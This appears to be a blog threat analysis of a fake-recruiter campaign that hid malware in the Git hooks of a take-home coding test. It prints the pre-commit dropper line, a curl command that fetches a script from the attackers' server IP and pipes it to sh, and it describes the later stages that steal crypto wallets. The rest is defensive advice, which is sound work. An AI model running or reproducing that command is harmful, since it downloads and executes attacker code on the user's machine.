A recruiter reaches out on LinkedIn, offers you a remote position at $15,000 a month, and sends over a take-home coding test. The offer is tempting, almost too good to be true. That’s exactly what happened to an Indian developer in July 2026. Except when he inspected the project he’d received, he uncovered a lot more than a routine FastAPI exercise: a full-blown malicious infrastructure, hidden inside Git hooks.
Malicious Git hooks used in fake coding tests are a new attack vector that weaponizes one of the most mundane rituals in tech hiring. Here’s how the attack works, what it’s after, and how to protect yourself.
A recruiting pitch too good to be true
It all starts with a private message on LinkedIn. A recruiter offers a Python developer position, fully remote, with a salary of $10,000 to $15,000 a month. For a developer based in India, that’s well above market rate.
The candidate, intrigued but cautious, checks out the company: a startup that went through Y Combinator. The profile looks credible. He sends his resume, which the recruiter approves immediately. A little too fast.
The next step is textbook: a take-home coding test. The attacker shares a Google Drive link containing a ZIP archive and an instruction PDF. The document is well put together, with legitimate prompts about improving a codebase, architectural suggestions, and a few Git operations.
The trap is set.
Inside the poisoned Git hooks
After extracting the archive, the developer finds a FastAPI project with SQLAlchemy. Nothing unusual at first glance. The requirements.txt file is clean, no suspicious packages, no typosquatting.
Out of habit, he runs tree -a to list hidden files. A CTF reflex that, this time, saves him. The .git/hooks/ folder contains every available hook, all pre-configured. That’s the first red flag: a typical project never ships with that many active hooks.
The pre-commit hook catches his attention. Here’s what it contains:
curl -sL 'http://45.61.164.38:5777/task/mac?id=402' | sh
The script detects the victim’s operating system (macOS, Linux, Windows) and silently downloads a payload from a remote server. Execution happens in the background, with no output to the user. All it takes is the candidate running a git commit for the malicious code to fire.
And the instruction PDF explicitly asked the candidate to perform Git operations. That was no coincidence.
A multi-stage payload
The first script is just a dropper. Once executed, it downloads a second stage called tokenlinux.npl, renames it to tokenlinux.sh, makes it executable, and launches it with nohup so it survives terminal closure.
This second script is much heavier. It silently installs Node.js, configures the PATH, then downloads two files: parser.js and package.json. The Node dependencies are installed automatically, and the parser runs as a background task.
The parser.js file is heavily obfuscated. Even Claude, Anthropic’s LLM, refused to analyze it by triggering its safety guardrails. Gemini, on the other hand, accepted the deobfuscation task, revealing the true nature of the attack.
An important technical detail: the id=402 parameter passed in every request. By changing this identifier, the developer received different scripts. The attackers track each victim with a unique ID, allowing them to serve customized payloads.
The goal: plundering crypto wallets
The package.json downloaded by the malware lists dependencies that leave no doubt about the attackers’ intentions:
hardhat: an Ethereum development environment, used to interact with smart contractsclipboardy: a module that reads the clipboard, likely to intercept copied wallet addressesjsonwebtoken: for manipulating JWT tokensbasic-ftp: for exfiltrating data via FTPps-node: for listing running processes
The .npl extension on the first downloaded file is associated with cryptocurrency theft campaigns targeting developers. The extension appears to be a signature of an attacker group specialized in this type of operation.
The command and control server, hosted behind the IP 45.61.164.38, exposed three open ports including one SSH (OpenSSH 9.6p1). The attackers had solid OPSEC: no exploitable CVE on that very recent version.
Other variants in the wild
Digging deeper into the subject, the developer discovered this campaign wasn’t limited to Git hooks. Some candidates received archives containing a poisoned .vscode folder with malicious launch commands. In that scenario, you don’t even need to run a Git command: simply opening the folder in VSCode triggers the infection.
The Git repository used as a lure was a clone of a legitimate open-source project, a personal finance service built by a contributor who has nothing to do with the attack. The attackers simply layered their poisoned .git folder on top of clean code.
The fake recruiter deleted their LinkedIn account immediately after being exposed.
How to protect yourself against this type of threat
A few simple habits can neutralize this kind of attack:
- Always inspect the
.git/hooks/folder of any project received as a coding test before running a single command - Use
tree -aorls -lato spot suspicious hidden files and folders - Check hook contents before running
git commitorgit push - Be wary of offers that seem too generous and recruiters who share tests via Google Drive instead of a public Git repository
- Isolate coding tests inside a virtual machine or a disposable container
- Scan dependencies with
npm auditorpip auditbefore installing anything
Key takeaways
- Attackers are using fake coding tests to distribute malicious Git hooks
- Running a simple
git commitis enough to trigger the infection - The malware deploys a multi-stage chain that installs Node.js and executes obfuscated code
- The end goal is cryptocurrency wallet theft via Hardhat and clipboard interception
- Variants exploit VSCode launch commands, without even needing Git at all
This type of threat reminds us that vigilance goes beyond open ports and vulnerable dependencies. Simply running third-party code, even in a legitimate professional context, can open the door to determined attackers.
Have you encountered a suspicious coding test or an overly pushy recruiter? Come talk about it on LinkedIn. And if this kind of investigation resonates with you, the blog regularly publishes threat analyses that hit close to home for us developers.
Sources
- Original article by Appaji (citizendot): Fake Job Interview Git Hook Malware
- Original GitHub repository used as a lure: personal-finance-service